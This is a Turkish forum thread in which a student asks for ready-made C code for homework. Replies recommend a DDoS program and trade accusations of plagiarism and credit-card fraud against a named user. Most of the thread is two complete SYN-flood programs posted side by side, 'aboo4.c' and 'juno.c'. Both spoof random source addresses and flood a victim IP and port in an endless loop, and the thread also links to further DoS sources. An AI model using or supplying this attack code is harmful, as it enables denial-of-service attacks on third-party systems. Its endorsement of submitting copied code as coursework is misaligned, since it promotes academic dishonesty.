folder Tahribat.com Forumları
linefolder C - C++
linefolder Arkadalar Ödevim İçin Çok Acil C Hazır Koda İhtiyacım Var



Arkadalar Ödevim İçin Çok Acil C Hazır Koda İhtiyacım Var

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    zorr
    zorr's avatar
    Kayıt Tarihi: 06/Ocak/2004
    Erkek
    Arkadaşlar biliyorum yaptığım biraz yanlış bişey ama finallerim yaklaştı ve çok yoğunun. Ödev olarak bir program vermem gerekiyor. Vericeğim programı exe olarak değil de yazılmış kodlarını vermek zorundayım. Bu konuda bana bu tarz örnek bir program verebilecek olan yada bu tarz örnekleri bulabileceğim bir site tavsiye edebilecek olan varsa yardımlarınızı bekliyorum. Lütfen çok acil hayat memat meselesi.

    Biz Aşkı Titanic ten değil Mevlâna'dan Öğrendik
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    JOSHUA
    JOSHUA's avatar
    Kayıt Tarihi: 26/Kasım/2003
    Erkek
    walla koduna göre deişir.
    ne programı istion?

    KENDİNİ BİL!!
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    sentus
    sentus's avatar
    Kayıt Tarihi: 08/Mart/2004
    Erkek
    dostum şimdi sana komik gelicek ama yazdığım bir ddos kod sayesinde ödevimden 10 üzerinden 10 aldım :) kodları download et ve hocana ver hem güvenlik üzerinden hemde kodlama üzerinden 10 üzerinden 10 alıcaksın eminim :) www.bbaysan.com/aboo4.c adamlar zaten bişeyden anlamıyor görünce şaşırıp kalıyorlar nası yaptı falan diye manyak olmuştu hocalar. ben sessiz sakin derste oturan hatta sorulara bile cevap vermeyen sorulsada bilmiyom diyip gecen biriyim :P

    www.bbaysan.com
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    mIRC32
    mIRC32's avatar
    Kayıt Tarihi: 08/Mart/2004
    Erkek
    la sentus ne pok yion sen burda HolyOne Sanada aşk olsun bole bi arkdaşa ban atmadıın için :) Neden mi soyle açıklayayım. Siteye Koduun Sözde Bilginsin yazdıı bu program http://packetstormsecurity.nl/DoS/juno.c ın türkçeye çevirmişinden başka bişi diil.Hadi Bunları çalmışlar de :) Sen Bunu yazmadan 1 ay oncede gormustum bunu şimdi gelelim sik.c ye onun tam benzerini bulamasamda http://members.lycos.co.uk/masterteamgentr/pepsi.c adresine bi bakın derim şu filetr nin de asıl kodunu blacam.Burak (Sentus) Sen ilk baş dolandırdıın insanların hakkını wer ( Bi arkadaş CC sini wermiş ( MAkina Satıyor bu Wmware ci ) Adama elini veren götü kaptırıyor 400 Milyon çekilmiş internet paketleri vs.. Falanda alınmış bizde bundan makina aldık amcam 50 milyon soktu içeri + açık kaldıı surede yasanan kesintiler + 512 aldıımız makinada 128 Ram takılmış olması cabası ve sanırım Bnetten de kovuldu ipsinde giriş yok

    Ne Mutlu TÜRKÜM diyene...
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    mIRC32
    mIRC32's avatar
    Kayıt Tarihi: 08/Mart/2004
    Erkek
    ayrıca msn deki engellemeyide kaldır aız tadıyla iki laf edemedk senle :)

    Ne Mutlu TÜRKÜM diyene...
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    sentus
    sentus's avatar
    Kayıt Tarihi: 08/Mart/2004
    Erkek

    bu kodlarla o kodların hiç bir alakası yok zaten şimdi karşılaştırma yapıp görürler. ve onun dışında bnet i bırakan benim. arayıp bnet den bilgi alabilirsin. 2. si biz asla vmware kullanmadık bunu yine bnet i arayıp orada onceden kaç makinamızın oldunu sorup orenebilirsin.


     


    www.bbaysan.com
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    gezgin
    gezgin's avatar
    Kayıt Tarihi: 01/Ocak/2003
    Erkek

    www.hazirkod.com


    www.ornekkod.com


    belki burdakiler işini görür.

  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    mIRC32
    mIRC32's avatar
    Kayıt Tarihi: 08/Mart/2004
    Erkek

    /*
    Bu kod kesinlikle illegal amaclar icin tasarlanmamistir. Bu kod sadece
    arastirma ve guvenlik sistemlerini tanimlama test ve bilgi edinme icin
    yazilmistir. Kullanacaginiz kotu amaclarla bizim kesinlikle bir alakamiz
    yoktur. Burada yer alan kod cok yuksek seviyede tahrib gucune sahiptir.


    CODE NAME: ABOO VERSION 4



    CODER: snts - sentus
    Burak Baysan


    EMAIL: burak@nictr.net
    WEB : www.bbaysan.com


    COMPILE:


    gcc -o aboo4.c aboo4


    */


     


    char aboobilgi[] = "ABOO VERSION 4 by sentus\n";
    /* DEGISKENLERI TANIMLAYALIM */
    #include <stdio.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>


    /* COMP. VERSIYON */
    #define USELESS_INFO
    #define DUZENLE_WINDOWS /* DUZENLE_WINDOWS veya DUZENLE_LINUX */
    /* IP */
    #define OTOMATIK_SOURCE_IP /* degisik ip adresleri kullanir */
    /* PORTLAR */
    #define OTOMATIK_SOURCE_PORT /* tum portlara saldirir */
    /* TEKRAR */
    #undef DELAY 1000 /* minisaniyelik saldiri ayari */


    /* CIKTILARI AL */
    #ifndef DUZENLE_WINDOWS
    # ifndef DUZENLE_LINUX
    # define DUZENLE_WINDOWS 1
    # endif
    #endif
    /* PAKETLERI CAGIR */
    struct syn {
    unsigned char verihl;
    unsigned char tos;
    unsigned short len;
    unsigned short id;
    unsigned short flg_ofs;
    unsigned char ttl;
    unsigned char proto;
    unsigned short ipsum;
    unsigned long src;
    unsigned long dst;
    unsigned short sport;
    unsigned short dport;
    unsigned long seq;
    unsigned long ack_seq;
    unsigned char offset;
    unsigned char flags;
    unsigned short win;
    unsigned short tcpsum;
    unsigned short urgptr;
    #ifdef DUZENLE_WINDOWS
    char opt[8];
    #else
    # ifdef DUZENLE_LINUX
    char opt[20];
    # endif
    #endif
    };
    /* HOSTNAME TANI */
    int resolve(char *name,unsigned long *ip) {
    struct hostent *host;


    if ((*ip=inet_addr(name)) == INADDR_NONE) {
    if (!(host=gethostbyname(name))) return(-1);
    *ip=((struct in_addr *)host->h_addr)->s_addr;
    }
    return(0);
    }
    /* IP PAKETLERINI HAZIRLA */
    int portgetir1(void) {
    int s = socket(PF_INET,SOCK_RAW,6),one=1;


    if(s<1) return(0);
    if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
    return(s);
    }
    /* PORTA VERIYI GONDER */
    int portgetir(char *s, unsigned short *out)
    {
    char const *p;
    int n;


    if(!*s) return(-1);
    for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);
    if(p-s>5) return(-3);
    if(((n=atoi(s))>65535) || (n<0)) return(4);
    *out=htons(n);
    return(0);
    }
    /* TANIMLAMALAR 2 */
    void prep_syn(struct syn *syn) {
    syn->verihl = 69;
    syn->len = htons(sizeof(struct syn));
    syn->flg_ofs = 64;
    syn->proto = 6;
    syn->flags = 2;
    #ifdef DUZENLE_WINDOWS
    syn->ttl = 128;
    syn->offset = 112;
    syn->win = htons(8192);
    syn->opt[0] = 2;
    syn->opt[1] = 4;
    syn->opt[2] = 5;
    syn->opt[3] = 0xB4;
    syn->opt[4] = 1;
    syn->opt[5] = 1;
    syn->opt[6] = 4;
    syn->opt[7] = 2;
    #else
    # ifdef DUZENLE_LINUX
    syn->tos = 16;
    syn->ttl = 64;
    syn->offset = 160;
    syn->win = htons(15536);
    syn->opt[0] = 0x02;
    syn->opt[1] = 0x04;
    syn->opt[2] = 0x0F;
    syn->opt[3] = 0x2C;
    syn->opt[4] = 0x04;
    syn->opt[5] = 0x02;
    syn->opt[6] = 0x08;
    syn->opt[7] = 0x0A;
    syn->opt[9] = 0x05;
    syn->opt[10] = 0x27;
    syn->opt[11] = 0x2D;
    syn->opt[13] = 0x05;
    syn->opt[14] = 0x27;
    syn->opt[15] = 0x2D;
    syn->opt[16] = 0x01;
    syn->opt[17] = 0x03;
    syn->opt[18] = 0x03;
    # endif
    #endif
    }
    /* SANIYEDEKI VERI */
    int starttime,outcount=0;
    /* PAKET BOYUTU */
    int aboo_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
    register int count = (sizeof(struct syn)-20) >> 1,sum;
    register unsigned short *p = &syn->sport;


    /* OTOMATIK IP DEGISTIR */
    #ifdef OTOMATIK_SOURCE_IP
    syn->src = random();
    #endif
    syn->id = 1+255*((random()%256)|0xFF);
    #ifdef OTOMATIK_SOURCE_PORT
    syn->sport = htons(1024 + (random() & 2048));
    #endif
    syn->seq = random();
    syn->ack_seq = random();
    syn->tcpsum = 0;
    sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
    (syn->dst & 0xffff) + 1536 + htons(count << 1);
    while(count--) sum += *p++;
    sum = (sum >> 16) + (sum & 0xffff);
    syn->tcpsum = ~(sum += (sum >> 16));


    outcount++;


    return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
    }


    /* KOMUTLARI BIRLESTIR */
    #ifdef OTOMATIK_SOURCE_IP
    # ifdef OTOMATIK_SOURCE_PORT
    # define KURBAN_IP_HEDEFI 1
    # else
    # define KAYNAK_PORT_HEDEF 1
    # define KURBAN_IP_HEDEFI 2
    # endif
    #else
    # ifdef OTOMATIK_SOURCE_PORT
    # define KURBAN_IP_HEDEFI 2
    # else
    # define KAYNAK_PORT_HEDEF 2
    # define KURBAN_IP_HEDEFI 3
    # endif
    #endif
    /* SALDIRI BITTIGINDE */
    void sinyal_proc(int signum) {
    int ctime=time(NULL);
    printf("\E[32m\n ** ABOO VERSION 4 DURDURULDU ! **************\n");
    printf(" Coder: sentus\n");
    printf(" Burak BAYSAN\n");
    printf(" burak@nictr.net\n");
    printf(" *************************************\n");
    printf(" INFORMATION IS POWER\n");
    printf(" *************************************\n");
    printf(" Special Thanks:\n");
    printf(" HolyOne\n");
    printf(" Brocker\n");
    printf(" Kustah\n");
    printf(" *************************************\n");
    printf(" www.bbaysan.com\n");
    printf(" *************************************\n");
    exit(1);
    }
    /* SALDIRI BASLADIGINDA */
    int main(int argc,char *argv[]) {
    struct syn syn;
    struct sockaddr_in targ;
    int sock;


    bzero(&syn,sizeof(struct syn));


    if(argc<KURBAN_IP_HEDEFI+2) {
    fprintf(stderr,"Ornek: %s ",argv[0]);
    #ifndef OTOMATIK_SOURCE_IP
    fprintf(stderr,"<ip kaynagi> ");
    #endif
    #ifndef OTOMATIK_SOURCE_PORT
    fprintf(stderr,"<port kaynagi> ");
    #endif
    fprintf(stderr,"<kurban ip> <port>\n");
    exit(1);
    }


    if(!(sock=portgetir1())) {
    fprintf(stderr,"Saldiri basarisiz\nSistem uzerinde firewall var\nProgrami root ile calistirmani oneririm.\n");
    exit(2);
    }


    /* HOSTNAME LOOKUP ET */
    #ifndef OTOMATIK_SOURCE_IP
    if(resolve(argv[1],&syn.src)) {
    fprintf(stderr,"Ip kaynagi bulunamadi (%s)\n",argv[1]);
    exit(3);
    }
    #endif


    /* OTOMATIK PORT */
    #ifndef OTOMATIK_SOURCE_PORT
    if(portgetir(argv[KAYNAK_PORT_HEDEF],&syn.sport)) {
    fprintf(stderr,"Port kaynagi bulunamadi (%s)\n",argv[KAYNAK_PORT_HEDEF]);
    exit(4);
    }
    #endif


    if(resolve(argv[KURBAN_IP_HEDEFI],&syn.dst)) {
    fprintf(stderr,"Hatali kurban ipsi (%s)\n",argv[KURBAN_IP_HEDEFI]);
    exit(5);
    }


    if(portgetir(argv[KURBAN_IP_HEDEFI+1],&syn.dport)) {
    fprintf(stderr,"Hatali port (%s)\n",argv[KURBAN_IP_HEDEFI+1]);
    exit(6);
    }
    /* BILGISI */
    #ifdef USELESS_INFO
    printf("%s%s",aboobilgi,"Kurban");
    # ifndef OTOMATIK_SOURCE_IP
    printf(" bizimki %s:",inet_ntoa(syn.src));
    # ifndef OTOMATIK_SOURCE_PORT
    printf("%d",ntohs(syn.sport));
    # else
    printf("rasgele ");
    # endif
    # else
    # ifndef OTOMATIK_SOURCE_PORT
    printf("rasgele:%d",ntohs(syn.sport));
    # endif
    # endif
    printf(" Bilgileri %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));
    #endif
    targ.sin_addr.s_addr = syn.dst;
    targ.sin_port = syn.dport;
    targ.sin_family = AF_INET;


    srandom(time(NULL));


    starttime = time(NULL);
    while(time(NULL) == starttime) usleep(1000);


    signal(SIGHUP,&sinyal_proc);
    signal(SIGINT,&sinyal_proc);
    signal(SIGQUIT,&sinyal_proc);
    signal(SIGILL,&sinyal_proc);
    signal(SIGABRT,&sinyal_proc);
    signal(SIGFPE,&sinyal_proc);
    // signal(SIGKILL,&sinyal_proc);
    signal(SIGSEGV,&sinyal_proc);
    signal(SIGPIPE,&sinyal_proc);
    signal(SIGALRM,&sinyal_proc);
    signal(SIGTERM,&sinyal_proc);
    signal(SIGUSR1,&sinyal_proc);
    signal(SIGUSR2,&sinyal_proc);
    signal(SIGCHLD,&sinyal_proc);
    signal(SIGCONT,&sinyal_proc);
    // signal(SIGSTOP,&sinyal_proc);
    signal(SIGTSTP,&sinyal_proc);
    signal(SIGTTIN,&sinyal_proc);
    signal(SIGTTOU,&sinyal_proc);


    prep_syn(&syn);
    while(1) {
    if(aboo_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
        fprintf(stderr,"paketler gonderilemedi\n");
        exit(7);
    }
    #ifdef DELAY
    usleep(DELAY);
    #endif
    }
    }


    --------------------juno-------------------------------


    char about[] = "juno.c by Sorcerer of DALnet\n";


    /*


    for best results, compile with:


    gcc -O2 juno.c -o juno


    thanks to bleach for releasing this for me, I'm too lazy to do it myself



    P.S I'd just like to send out a big "get out of the closet" to malkman,


    for making useless mods to this source that actually make it *less*


    effective. Get a life man.


    */


    #include <stdio.h>


    #include <netinet/in.h>


    #include <netdb.h>


    #include <sys/time.h>


    #include <sys/types.h>


    #include <unistd.h>


    #include <stdlib.h>


    #include <signal.h>


    #define USELESS_INFO


    #define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */


    #define RANDOMIZE_SOURCE_IP /* random source ips */


    #define RANDOMIZE_SOURCE_PORT /* random source ports */


    #undef DELAY 1000 /* microsecond delay, undef for none */


    /* nothing beyond here is useful to people who can't program */


    #ifndef EMULATE_WINDOWS


    # ifndef EMULATE_LINUX


    # define EMULATE_WINDOWS 1


    # endif


    #endif


    struct syn {


    unsigned char verihl;


    unsigned char tos;


    unsigned short len;


    unsigned short id;


    unsigned short flg_ofs;


    unsigned char ttl;


    unsigned char proto;


    unsigned short ipsum;


    unsigned long src;


    unsigned long dst;


    unsigned short sport;


    unsigned short dport;


    unsigned long seq;


    unsigned long ack_seq;


    unsigned char offset;


    unsigned char flags;


    unsigned short win;


    unsigned short tcpsum;


    unsigned short urgptr;


    #ifdef EMULATE_WINDOWS


    char opt[8];


    #else


    # ifdef EMULATE_LINUX


    char opt[20];


    # endif


    #endif


    };


    int resolve(char *name,unsigned long *ip) {


    struct hostent *host;



    if ((*ip=inet_addr(name)) == INADDR_NONE) {


    if (!(host=gethostbyname(name))) return(-1);


    *ip=((struct in_addr *)host->h_addr)->s_addr;


    }


    return(0);


    }


    int getsock(void) {


    int s = socket(PF_INET,SOCK_RAW,6),one=1;


    if(s<1) return(0);


    if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);


    return(s);


    }


    int getport(char *s, unsigned short *out)


    {


    char const *p;


    int n;



    if(!*s) return(-1);


    for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);


    if(p-s>5) return(-3);


    if(((n=atoi(s))>65535) || (n<0)) return(4);


    *out=htons(n);


    return(0);


    }


    void prep_syn(struct syn *syn) {


    syn->verihl = 69;


    syn->len = htons(sizeof(struct syn));


    syn->flg_ofs = 64;


    syn->proto = 6;


    syn->flags = 2;


    #ifdef EMULATE_WINDOWS


    syn->ttl = 128;


    syn->offset = 112;


    syn->win = htons(8192);


    syn->opt[0] = 2;


    syn->opt[1] = 4;


    syn->opt[2] = 5;


    syn->opt[3] = 0xB4;


    syn->opt[4] = 1;


    syn->opt[5] = 1;


    syn->opt[6] = 4;


    syn->opt[7] = 2;


    #else


    # ifdef EMULATE_LINUX


    syn->tos = 16;


    syn->ttl = 64;


    syn->offset = 160;


    syn->win = htons(15536);


    syn->opt[0] = 0x02;


    syn->opt[1] = 0x04;


    syn->opt[2] = 0x0F;


    syn->opt[3] = 0x2C;


    syn->opt[4] = 0x04;


    syn->opt[5] = 0x02;


    syn->opt[6] = 0x08;


    syn->opt[7] = 0x0A;


    syn->opt[9] = 0x05;


    syn->opt[10] = 0x27;


    syn->opt[11] = 0x2D;


    syn->opt[13] = 0x05;


    syn->opt[14] = 0x27;


    syn->opt[15] = 0x2D;


    syn->opt[16] = 0x01;


    syn->opt[17] = 0x03;


    syn->opt[18] = 0x03;


    # endif


    #endif


    }


    int starttime,outcount=0;


    int xmit_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {


    register int count = (sizeof(struct syn)-20) >> 1,sum;


    register unsigned short *p = &syn->sport;



    #ifdef RANDOMIZE_SOURCE_IP


    syn->src = random();


    #endif


    syn->id = 1+255*((random()%256)|0xFF);


    #ifdef RANDOMIZE_SOURCE_PORT


    syn->sport = htons(1024 + (random() & 2048));


    #endif


    syn->seq = random();


    syn->ack_seq = random();


    syn->tcpsum = 0;


    sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +


    (syn->dst & 0xffff) + 1536 + htons(count << 1);


    while(count--) sum += *p++;


    sum = (sum >> 16) + (sum & 0xffff);


    syn->tcpsum = ~(sum += (sum >> 16));


    outcount++;



    return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));


    }



    #ifdef RANDOMIZE_SOURCE_IP


    # ifdef RANDOMIZE_SOURCE_PORT


    # define TARGET_IP_INDEX 1


    # else


    # define SOURCE_PORT_INDEX 1


    # define TARGET_IP_INDEX 2


    # endif


    #else


    # ifdef RANDOMIZE_SOURCE_PORT


    # define TARGET_IP_INDEX 2


    # else


    # define SOURCE_PORT_INDEX 2


    # define TARGET_IP_INDEX 3


    # endif


    #endif


    void sig_proc(int signum) {


    int ctime=time(NULL);


    printf("\n -- statistics -----------------------\n");


    printf(" packets sent: %d\n",outcount);


    printf(" bytes sent: %d\n",outcount * sizeof(struct syn));


    printf(" seconds active: %d\n",ctime-starttime);


    printf(" average bytes/second: %d\n",(outcount * sizeof(struct syn))/(ctime-starttime));


    printf(" -------------------------------------\n");


    exit(1);


    }


    int main(int argc,char *argv[]) {


    struct syn syn;


    struct sockaddr_in targ;


    int sock;


    bzero(&syn,sizeof(struct syn));



    if(argc<TARGET_IP_INDEX+2) {


    fprintf(stderr,"Syntax: %s ",argv[0]);


    #ifndef RANDOMIZE_SOURCE_IP


    fprintf(stderr,"<source ip> ");


    #endif


    #ifndef RANDOMIZE_SOURCE_PORT


    fprintf(stderr,"<source port> ");


    #endif


    fprintf(stderr,"<target ip> <target port>\n");


    exit(1);


    }



    if(!(sock=getsock())) {


    fprintf(stderr,"Firewall War Atamyıorum ROOT olup dene.\n");


    exit(2);


    }



    #ifndef RANDOMIZE_SOURCE_IP


    if(resolve(argv[1],&syn.src)) {


    fprintf(stderr,"Invalid source ip (%s)\n",argv[1]);


    exit(3);


    }


    #endif



    #ifndef RANDOMIZE_SOURCE_PORT


    if(getport(argv[SOURCE_PORT_INDEX],&syn.sport)) {


    fprintf(stderr,"Invalid source port (%s)\n",argv[SOURCE_PORT_INDEX]);


    exit(4);


    }


    #endif



    if(resolve(argv[TARGET_IP_INDEX],&syn.dst)) {


    fprintf(stderr,"Invalid target ip (%s)\n",argv[TARGET_IP_INDEX]);


    exit(5);


    }



    if(getport(argv[TARGET_IP_INDEX+1],&syn.dport)) {


    fprintf(stderr,"Invalid target port (%s)\n",argv[TARGET_IP_INDEX+1]);


    exit(6);


    }


    #ifdef USELESS_INFO


    printf("%s%s",about,"death");


    # ifndef RANDOMIZE_SOURCE_IP


    printf(" from %s:",inet_ntoa(syn.src));


    # ifndef RANDOMIZE_SOURCE_PORT


    printf("%d",ntohs(syn.sport));


    # else


    printf("random ");


    # endif


    # else


    # ifndef RANDOMIZE_SOURCE_PORT


    printf("random:%d",ntohs(syn.sport));


    # endif


    # endif


    printf(" to %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));


    #endif


    targ.sin_addr.s_addr = syn.dst;


    targ.sin_port = syn.dport;


    targ.sin_family = AF_INET;


    srandom(time(NULL));


    starttime = time(NULL);


    while(time(NULL) == starttime) usleep(1000);


    signal(SIGHUP,&sig_proc);


    signal(SIGINT,&sig_proc);


    signal(SIGQUIT,&sig_proc);


    signal(SIGILL,&sig_proc);


    signal(SIGABRT,&sig_proc);


    signal(SIGFPE,&sig_proc);


    // signal(SIGKILL,&sig_proc);


    signal(SIGSEGV,&sig_proc);


    signal(SIGPIPE,&sig_proc);


    signal(SIGALRM,&sig_proc);


    signal(SIGTERM,&sig_proc);


    signal(SIGUSR1,&sig_proc);


    signal(SIGUSR2,&sig_proc);


    signal(SIGCHLD,&sig_proc);


    signal(SIGCONT,&sig_proc);


    // signal(SIGSTOP,&sig_proc);


    signal(SIGTSTP,&sig_proc);


    signal(SIGTTIN,&sig_proc);


    signal(SIGTTOU,&sig_proc);



    prep_syn(&syn);


    while(1) {


    if(xmit_syn(&syn,sock,&targ)!=sizeof(struct syn)) {


    fprintf(stderr,"failed to send packet\n");


    exit(7);


    }


    #ifdef DELAY


    usleep(DELAY);


    #endif


    }


    }


    Kesinlikle hiçbir benzerlik yoktur !


    Ne Mutlu TÜRKÜM diyene...
Toplam Hit: 4564 Toplam Mesaj: 8